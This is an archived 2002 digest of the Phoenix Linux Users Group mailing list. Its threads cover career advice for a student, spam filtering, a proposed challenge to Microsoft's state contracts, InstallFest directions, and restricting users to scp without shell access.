best, their passion for development will be overwhelmingly apparent to anyone who inquires. In my experience people who see programming as simply a job are somewhat detached from their projects (Not always however) and will simply do what it takes to meet the requirements. Passionate developers usually exceed all requirements due to the personal pride associated with quality of the product. Ideally, in my opinion, one would be passionate about their professional goals AND get good grades to reflect their passion in their work. Consider a scenario in which an employer has to choose between two applicants. The first applicant is a good programmer, got great grades in school, has a good work ethic, and portrays a professional demeanor. The second applicant has average grades but is the primary investigator for four Source Forge projects and talks excitedly and at length about his projects as if they were his children. Both of these individuals are qualified for the position, but in my experience it is the second applicant that will get the job. The tone of your message makes it sound as if you would "settle" for any computer job although you are really interested in networking. Don't settle, get some 486's at ASU surplus for $5 a piece and network them together. Develop some strange network software (Bayesian route path determination, Intelligent route caching) and throw it up on Source Forge. This is how you create experience for yourself and demonstrate your passion for your desired professional domain. I hope this made sense and was helpful to you in some way. Of course all opinions expressed in this message are not necessarily the views of Arizona State University. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: MCR [mailto:mike1071@yahoo.com] Sent: Wednesday, June 19, 2002 7:22 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Help getting experience I have a question to ask of the group. Maybe a favor, so to speak. I am starting my junior year at ASU in Computer Science. Right now I work in a Hotel, and I really don't like my job. I keep trying to apply for jobs in the computer field, however I have never had a job of this type before, which is making it difficult for me. My question is would anyone be willing or able to help me get experience, so I can get a job in the Computer field. I am highly interested in Networking, but any work involving computers would be good. I am working toward a career as a software engineer, so even programming would work. If someone would be willing, the idea I have is if someone would be willing to take me on as an apprentice for a couple of months to teach me the "ropes". I would be willing to work part-time, and for free, in exchange for the knowledge and a recommendation /reference if it is deserved. If you think you might be able to help me, please contact me off list at: mike1071@yahoo.com. Thank You, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_tXyl0/9xIm4YavANAGQDkA) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Help getting experience

As a faculty member at ASU that works with many = student programmers I have a few comments to share with you. Are you = majoring in computer science so you can program 9-5 or are you geting = into computer science because you want the luxury of getting paid for = your passion? Both scenarios are valid, however the paradigms involved = in the two scenarios can have a great affect on your ability to achieve = your desired professional role. If you simply want to program 9-5 and = check your code-fu at the door when you come home (which is perfectly = acceptable) chances are that 99% of your programming efforts go towards = class work. If you are passionate about programming you've likely spent = late nights in front of the monitor developing some new firmware for = your toaster oven because the firmware that came with it always burns = your toast. Of course, in this scenario, the individual will likely put = projects like toaster firmware and Kids In The Hall MPEG-4 web bots at = a higher priority than his/her schoolwork. Although this individual's = grades may be mediocre at best, their passion for development will be = overwhelmingly apparent to anyone who inquires. In my experience people = who see programming as simply a job are somewhat detached from their = projects (Not always however) and will simply do what it takes to meet = the requirements. Passionate developers usually exceed all requirements = due to the personal pride associated with quality of the product. = Ideally, in my opinion, one would be passionate about their = professional goals AND get good grades to reflect their passion in = their work. Consider a scenario in which an employer has to choose = between two applicants. The first applicant is a good programmer, got = great grades in school, has a good work ethic, and portrays a = professional demeanor. The second applicant has average grades but is = the primary investigator for four Source Forge projects and talks = excitedly and at length about his projects as if they were his = children. Both of these individuals are qualified for the position, but = in my experience it is the second applicant that will get the job. =

  The tone of your message makes it sound as if = you would "settle" for any computer job although you are = really interested in networking. Don't settle, get some 486's at ASU = surplus for $5 a piece and network them together. Develop some strange = network software (Bayesian route path determination, Intelligent route = caching) and throw it up on Source Forge. This is how you create = experience for yourself and demonstrate your passion for your desired = professional domain. I hope this made sense and was helpful to you in = some way. Of course all opinions expressed in this message are not = necessarily the views of Arizona State University.

Joel Dudley
Faculty Research Associate
Arizona State University
Kumar Laboratory of Evolutionary Functional = Genomics
http://lsweb.la.asu.edu/skumar/
 

-----Original Message-----
From: MCR [mailto:mike1071@yahoo.com]=
Sent: Wednesday, June 19, 2002 7:22 PM
To: plug-discuss@lists.plug.phoenix.az.us
Subject: Help getting experience


I have a question to ask of the group.  Maybe a = favor,
so to speak.  I am starting my junior year at = ASU in
Computer Science.  Right now I work in a Hotel, = and I
really don't like my job.  I keep trying to = apply for
jobs in the computer field, however I have never had = a
job of this type before, which is making it = difficult
for me. 

My question is would anyone be willing or able to = help
me get experience, so I can get a job in the = Computer
field.  I am highly interested in Networking, = but any
work involving computers would be good.  I am = working
toward a career as a software engineer, so = even
programming would work. If someone would be = willing,
the idea I have is if someone would be willing to = take
me on as an apprentice for a couple of months =
to teach me the "ropes".  I would be = willing to work
part-time, and for free, in exchange for the = knowledge
and a recommendation /reference if it is = deserved.

If you think you might be able to help me, = please
contact me off list at:
          &nb= sp;  mike1071@yahoo.com.


          &nb= sp;            = Thank You,
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= --Boundary_(ID_tXyl0/9xIm4YavANAGQDkA)-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:58:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 20 Jun 2002 10:58:37 -0700 Subject: SMTP mail relay server for SPAM filtering Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4FB@mail.int.fh.org> By using the content filtering and message ratings we have been able to eliminate about 95% of the spam we were receiving. Especially all the porno spam. It sits on our VALinux gateway and is doing a great job. Go to http://www.roaringpenguin.com to read about it. Subject: RE: SMTP mail relay server for SPAM filtering From: Craig White To: plug-discuss@lists.plug.phoenix.az.us Date: 20 Jun 2002 09:55:32 -0700 Reply-To: plug-discuss@lists.plug.phoenix.az.us what's mime-defang have to do with spam? Craig On Thu, 2002-06-20 at 09:37, Tom Achtenberg wrote: > We are using MimeDefang very successfully. > > -------------------original message------------------------- > > Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) > From: Scott Henderson > To: plug-discuss@lists.plug.phoenix.az.us > Subject: SMTP mail relay server for SPAM filtering > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! > --__--__-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:31:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Thu, 20 Jun 2002 11:31:50 -0700 (PDT) Subject: Help getting experience - explaining myself In-Reply-To: <7D2FB294FA311F4299D03CC8D3904370716596@mainex5.asu.edu> Message-ID: <20020620183150.38177.qmail@web13901.mail.yahoo.com> Perhaps I should explain myself. I do love programming, but compared to many of the programmers I see, I don't think I would be too successful in finding a job as a programmer. I do well in the programming classes, and at home, I just really do not know how much I know because I have never really create programs in a working environment. I am planning on taking the java certification test in late August, though The networking comes about because it fascinates me. That is the area I would like to go into is to write software for networking. However, I feel I need to know the in's and out's of different networks to be able to accomplish much. I have a small network at home, and as the funds allow, I do try to grow the network to learn different things, i.e. Samba, NFS, and the next thing is to set up a Gateway. The only thing about this is at home, with just me being the user, I don't know what type of things happen in the "real world" with different users. Another thing is the network sitting at home does not help me get a job. This does not seem to help too much as experience. The employer doesn't know what is going at my apartment. The other thing is the fact that I want out of the hotel industry and into the computer field. That is why I said any computer related job would do. Sitting in a back office doing upgrades would be better than what I am doing. The main point is that I am an older man, and I would really like to get to the point that I can get a job that I enjoy and pays reasonably. A few months ago, someone sent in an e-mail asking how someone could get experience. Someone replied to find someone that is doing what you are interested in and try to work with them and learn the "ropes". This was just my way of doing that. Sorry for the long e-mail, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:48:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 20 Jun 2002 11:48:06 -0700 Subject: Map to SCC for the Installfest References: Message-ID: <00ea01c2188b$045e60d0$0301010a@tickticker.com> would anyone like me to bring a current copy (rev 0.92 PR1) of Lindows to the intall fest? Anthony ----- Original Message ----- From: To: Sent: Thursday, June 20, 2002 10:22 AM Subject: Re: Map to SCC for the Installfest > I think Steve's point is that the press release says "A map is available > online at PLUG's web site, ( http://plug.phoenix.az.us ). " > > The main page does NOT have a map or an obvious link to a map. There should > be one since the press release says we have a map at that URL. Just a > "InstallFest map here." linking to > http://www.plugpresents.com/installfest/maps.html would be good enough. > > Alan > > On Thu, 20 Jun 2002 10:06:40 -0700 Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > The PLUG website should have a link to the Install Fest web site right at the > > top. If not, it is at www.plugpresents.com/installfest. > > On Thursday 20 June 2002 09:26, you wrote: > > The Press release mentions that there is a map to SCC on the primary > > website. I wasn't able to find it. > > > > -Scott > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:56:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 20 Jun 2002 11:56:18 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <5.1.0.14.0.20020620104215.024cbd90@localhost> References: <5.1.0.14.0.20020619093307.024ec210@localhost> <5.1.0.14.0.20020620104215.024cbd90@localhost> Message-ID: <0206201156180B.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I think that the Arizona Center for Law in the Public Interest is the right place. Tim Hogan has taken on the establishment and won many times in the past. It would seem that this is an action waiting for a powerful, influential organization to take up. On Thursday 20 June 2002 10:43, you wrote: > I was wondering because I do know a civil attorney that might take it on > but since I don't know for sure, I will call him anyway just to see. > > Kimi > > At 6/19/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >IMHO, which is decidedly non-legal, I think that debarment proceedings are > >neither civil nor criminal, but rather a violation of procurement rules. > > I could be wrong, but if my reading of the procurement rules is accurate, > > MS could be debarred from contracting with the state, its departments, > > its school districts, and its cities and municipalities. > > > >On Wednesday 19 June 2002 09:34, you wrote: > > > Would this be civil? > > > > > > Kimi > > > > > > At 6/19/02, you wrote: > > > >-----BEGIN PGP SIGNED MESSAGE----- > > > >Hash: SHA1 > > > > > > > >According to the state administrative rules, it looks like most if not > > > > all of the school districts could be required to initiate debarment > > > > proceedings against MS. Anyone know an attorney who is willing to > > > > take something like this on pro-bono? > > > > > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > > > Here is the response I received from David Cantelme, Deer Valley > > > > > school board member. He is the one who has > > > > > arizonalawinstitute@yahoo.com as his email address. It sounds to > > > > > me that all the school districts and the state itself should be > > > > > starting debarment proceedings against MS. We need to start > > > > > contacting the legislators, Attorney General's office and your > > > > > local school superintendents. > > > > > > > > > > > > > > > ----- Original Message ----- > > > > > From: "david cantelme" > > > > > To: "Tom Achtenberg" > > > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > > > > > > > Dear Mr. Actenburg: > > > > > > > > > > They do not, but similar rules found in the state > > > > > school district procurement rules do apply. Both sets > > > > > of rules have their origen in the state procurement > > > > > code. You can find the school district procurement > > > > > rules by going to the secretary of state web site. > > > > > Click on administrative rules. Go to title seven. > > > > > Then scroll down to R7-2-1001. That's where the rules > > > > > begin. They continue to about R7-2-1175. > > > > > > > > > > Debarment procedures do exist in the school district > > > > > procurement rules. You would need to address your > > > > > comments on debarment to the adminsitration. That's > > > > > who would initiate the procedure. If the > > > > > administration initiates a debarment procedure, the > > > > > board determines whether to appoint a hearing officer. > > > > > It goes from there to the officer with appropriate > > > > > due process to the contractor. The board itself has > > > > > no involvement in the hearing process. The officer > > > > > must be independent to ensure a fair hearing under our > > > > > constitutional system. > > > > > > > > > > --- Tom Achtenberg wrote: > > > > > > I was wondering if the Maricopa County purchasing > > > > > > policies listed below apply > > > > > > to DVUSD purchasing pprocedures? > > > > > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > > > > > MC1-101 DEFINITIONS > > > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > > > with a County > > > > > > Governmental unit. For purposes of Article 5, > > > > > > Contractor may also mean > > > > > > Respondent as defined in this Article. > > > > > > 36."DEBARMENT" means an action taken by the County > > > > > > Administrative > > > > > > Officer under MC1-902 to prohibit a Person from > > > > > > Participating in > > > > > > Maricopa County Procurements. > > > > > > 80."PERSON" means any corporation, Business, > > > > > > individual, union, > > > > > > committee, club, other organization or group of > > > > > > individuals. > > > > > > 113."SUSPENSION" means an action taken by the County > > > > > > Administrative > > > > > > Officer under MC1-902 temporarily disqualifying a > > > > > > Person from > > > > > > participating in Maricopa County Procurements. > > > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > > > This is important > > > > > > below.] > > > > > > > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > > > All Specifications shall seek to promote overall > > > > > > economy for the purpose > > > > > > intended and encourage competition in satisfying > > > > > > Maricopa County's needs > > > > > > and shall not be unduly restrictive. > > > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > > > > > [Is there any technology that is Microsoft > > > > > > exclusive? I believe there > > > > > > are sites that explain how to replace Exchange > > > > > > Server completely using > > > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > > > with mySQL or PostgreSQL; > > > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > > > Office suite is > > > > > > replaceable with the very comparable Open Office > > > > > > suite.] > > > > > > > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > > > B. The causes for Debarment or Suspension shall > > > > > > include, but are not > > > > > > limited to, the following: > > > > > > 2. Conviction of any Person or any subsidiary or > > > > > > affiliate of any Person > > > > > > under any statute of the Federal government, this > > > > > > State or its political > > > > > > subdivision or any other State for: > > > > > > k. Any other offense indicating a lack of business > > > > > > integrity or business > > > > > > honesty which affects responsibility as a > > > > > > Contractor. > > > > > > 3. Conviction or civil judgment finding a violation > > > > > > by any Person or any > > > > > > subsidiary or affiliate of any Person under State or > > > > > > Federal Antitrust > > > > > > Statutes. > > > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > > > been convicted of a > > > > > > violation of Federal Antitrust Statues, cannot be a > > > > > > County Contractor. > > > > > > > > > > > > There are many alternatives to Microsofts products. > > > > > > Alternatives that have > > > > > > broken no laws, Federal or Local, are well supported > > > > > > and used by many large > > > > > > governments (Germany, Taiwan, et al). As a > > > > > > concerned voter in the DVUSD, I > > > > > > must point out that I cannot support criminal > > > > > > behavior and would hope that my > > > > > > Governing Board would see fit to do the same and > > > > > > ONLY consider alternatives > > > > > > as Microsoft is clearly unqualified to meet District > > > > > > requirements. > > > > > > > > > > > > Thank You, > > > > > > > > > > > > Tom Achtenberg > > > > > > > > > > > > PS this message was written ans sent to you using a > > > > > > computer that is 100% > > > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > > > operating system, KDE windows > > > > > > like desktop and the K-mail email client. All if > > > > > > these programs come under > > > > > > the "General Public License" which means they are > > > > > > 100% free to the public for > > > > > > personal and commercial use. > > > > > > -- > > > > > > Visit the Mountain Ridge Band Site at > > > > > > > > > > http://www.mrhsband.org > > > > > > > > > > > > > > > __________________________________________________ > > > > > Do You Yahoo!? > > > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > > > > > > > > > --- > > > > > Outgoing mail is certified Virus Free. > > > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > > doesn't post to the list quickly and you use Netscape to write > > > > > mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > >- -- > > > >Jim > > > > > > > >Freedom is worth protecting > > > > > > > >-----BEGIN PGP SIGNATURE----- > > > >Version: PGP 6.5.8 > > > > > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > > > >uqHWgWriXgbXcZvWptly5CtJ > > > >=tKg8 > > > >-----END PGP SIGNATURE----- > > > >________________________________________________ > > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRC4BSsk3ywszI1FEQLMygCeP8J3OAAe0HtrEvQsqzXiRt3bHRgAn20/ > >jvqee9WrnED2XJex6UfhtK/4 > >=EQ9s > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRIlUisk3ywszI1FEQLjAwCgi8Gat/DzwXLLps86ERKNaV0Pz5sAnjgs 6J1BRN9hvnL3eQCQofqRJj57 =tVDI -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 19:31:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 20 Jun 2002 12:31:31 -0700 (PDT) Subject: favicon.ico for your Linux website Message-ID: This message is in MIME format. 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Pick a language...like say...Java. Get a good algorithm book and develop some simple programs that show these algorithms (ie sorting, searching, recursion etc...). Develop small applets to show on a job interview. Along with these applets, write up a diagram and pseudocode to explain what the algoritm does. In case of Java, draw some simple UML diagrams to show the relationships between your classes. Understanding some basic algrithm concepts helps in a lot of ways. 1. Algoritms exist because some programmer from the past has solved some particular problem - you don't have to re-invent the wheel. 2. Understanding algoritm gives you a deeper understanding how programming really works. Control-flow statemetns, functions and proceedures are related somehow. Algorithms are a great example of how these programming pieces fit together as a whole. This suggestion probably won't land you a job right away, but you have to love programming. When you go to an interview, they will most likely sit you down on a computer and program something. Knowing some basic algorithms can help. You can use this as 'experience.' ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 20:34:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 20 Jun 2002 16:34:38 -0400 Subject: Limiting a user to scp and not ssh References: <1024591268.12366.33.camel@wwarner> Message-ID: <3D123C5E.BED06C7E@georgetoft.com> I tried that, and could not scp any files. George Bill Warner wrote: > > Your probably better off just setting there shell to /bin/false in > /etc/passwd. > > If there is every any kind of security hole in scp that someone could > exploit they could get in to your box with your current setup. > > Bill Warner > > On Wed, 2002-06-19 at 18:48, Matt Alexander wrote: > > I'm trying to configure a box so people can scp files to it, but can't > > actually ssh in. I created a script named scpsh with this in it: > > > > #!/bin/sh > > # > > exec /usr/bin/scp -t $HOME > > > > > > Then I added scpsh to /etc/shells and made it their shell in > > /etc/passwd. > > So now users can use scp to copy files over just fine, but when they try > > to ssh, it sits there until they hit a key, at which point they get: > > > > scp: protocol error: unexpected > > Connection to 1.2.3.4 closed. > > > > > > Is this the best way to handle this? Is there a better way that anyone > > knows of? > > Thanks, > > ~M > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- > Bill Warner > Unix/Linux Admin. > Direct Alliance Corporation > > Company required stuff: > > Contents are Direct Alliance Corporation Confidential > > This message is for the designated recipient(s) only and contains > Direct Alliance Corporation privileged and confidential information. > If you have received it in error, please notify the sender immediately > and delete the original. Any other use of this email is prohibited. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 20:34:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 20 Jun 2002 13:34:50 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: References: Message-ID: <1024605291.12366.60.camel@wwarner> I didn't think you needed to have a valid shell to run scp. sorry Bill W On Thu, 2002-06-20 at 09:57, Matt Alexander wrote: > Uhhh... but I want them to be able to scp to my box. If I set their > shell to /bin/false, they can't scp in. > > > On 20 Jun 2002, Bill Warner wrote: > > > Your probably better off just setting there shell to /bin/false in > > /etc/passwd. > > > > If there is every any kind of security hole in scp that someone could > > exploit they could get in to your box with your current setup. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:10:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 14:10:24 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: <1024605291.12366.60.camel@wwarner>; from wwarner@direct-alliance.com on Thu, Jun 20, 2002 at 01:34:50PM -0700 References: <1024605291.12366.60.camel@wwarner> Message-ID: <20020620141024.A25950@nadesico> How about this: - Set the user's shell to /bin/false - Edit your sshd.conf file to allow logins without a valid shell The results should allow you to run scp to copy files, but when ssh is run, it will start /bin/false as the default shell -- thereby immediately logging you out again. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org On Thu, Jun 20, 2002 at 01:34:50PM -0700, Bill Warner wrote: > I didn't think you needed to have a valid shell to run scp. > > sorry > > Bill W > > On Thu, 2002-06-20 at 09:57, Matt Alexander wrote: > > Uhhh... but I want them to be able to scp to my box. If I set their > > shell to /bin/false, they can't scp in. > > > > > > On 20 Jun 2002, Bill Warner wrote: > > > > > Your probably better off just setting there shell to /bin/false in > > > /etc/passwd. > > > > > > If there is every any kind of security hole in scp that someone could > > > exploit they could get in to your box with your current setup. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- > Bill Warner > Unix/Linux Admin. > Direct Alliance Corporation > > Company required stuff: > > Contents are Direct Alliance Corporation Confidential > > This message is for the designated recipient(s) only and contains > Direct Alliance Corporation privileged and confidential information. > If you have received it in error, please notify the sender immediately > and delete the original. Any other use of this email is prohibited. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:06:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 20 Jun 2002 14:06:37 -0700 Subject: Help getting experience In-Reply-To: <20020620194818.80772.qmail@web10602.mail.yahoo.com> References: <20020620194818.80772.qmail@web10602.mail.yahoo.com> Message-ID: <1024607198.12366.66.camel@wwarner> Any sugestins for a specific book? I would like to do this as well to help inprove my programming. Bill W On Thu, 2002-06-20 at 12:48, Alpha Zenon Sanchez wrote: > Here's what I'm doing, and perhaps you can do this > too. > > Pick a language...like say...Java. Get a good > algorithm book and develop some simple programs that > show these algorithms (ie sorting, searching, > recursion etc...). Develop small applets to show on a > job interview. > > Along with these applets, write up a diagram and > pseudocode to explain what the algoritm does. In case > of Java, draw some simple UML diagrams to show the > relationships between your classes. > > > Understanding some basic algrithm concepts helps in a > lot of ways. > > 1. Algoritms exist because some programmer from the > past has solved some particular problem - you don't > have to re-invent the wheel. > > 2. Understanding algoritm gives you a deeper > understanding how programming really works. > Control-flow statemetns, functions and proceedures are > related > somehow. Algorithms are a great example of how these > programming pieces fit together as a whole. > > This suggestion probably won't land you a job right > away, but you have to love programming. When you go > to an interview, they will most likely sit you down on > a computer and program something. Knowing some basic > algorithms can help. > > You can use this as 'experience.' > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:36:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 20 Jun 2002 14:36:36 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: <1024605291.12366.60.camel@wwarner> References: <1024605291.12366.60.camel@wwarner> Message-ID: <200206201436.45765.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 20 June 2002 01:34 pm, Bill Warner wrote: > I didn't think you needed to have a valid shell to run scp. You need a valid shell to do anything with ssh. Essentially, scp and sftp are wrappers for ssh that call '$SHELL -c scp/sftp'. With the commercial ssh, there is a program called ssh-dummy-shell, but this program is not available with OpenSSH. The following "shell" should do the same thing. Note that it only allows scp and not sftp connections. - -------- #include int main(int argc, char** argv) { if (--argc == 2 && strcmp("-c", *++argv) == 0 && strcmp("scp", *++argv) == 0) { execl(SFTPSERVERPATH, SFTPSERVERPATH, NULL); } exit(0); } - -------- Note that I have _not_ tested the above code, so wait for the reviews to poor in. ;-) - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9EkrqpNoctRtUIRQRAlkLAJ9MwNIusTLfWvOHdny/e0FqAFF4jwCcCxu3 Gj0XkEuJv2Vq/ATl7lfLUj4= =1IX0 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:54:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Thu, 20 Jun 2002 21:54:25 +0000 (GMT) Subject: SMTP mail relay server for SPAM filtering In-Reply-To: Message-ID: On Thu, 20 Jun 2002, Scott Henderson wrote: > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the 